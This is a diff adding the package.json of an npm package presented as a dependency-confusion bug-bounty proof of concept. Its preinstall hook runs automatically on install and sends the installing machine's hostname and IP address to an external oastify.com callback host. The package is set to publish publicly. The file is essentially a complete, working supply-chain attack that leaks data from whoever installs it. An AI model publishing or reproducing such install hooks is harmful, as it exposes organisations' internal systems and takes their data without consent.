sinbad-dev 0.0.1

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "sinbad-dev",
+  "version": "0.0.1",
+  "description": "Fake package for dependency confusion PoC with safe pingback",
+  "author": "Bug Bounty PoC",
+  "scripts": {
+    "preinstall": "node -e \"require('http').get('http://$(hostname)-$(hostname -I | awk '{print $1}').h7p3tbr9yfer3phj9nhk9mf0oruiib60.oastify.com/pingback', (res) => { res.on('data', (chunk) => { console.log('Ping sent to server'); }); }).on('error', (err) => { console.error('Ping failed:', err.message); });\""
+  },
+  "publishConfig": {
+    "access": "public"
+  }
+}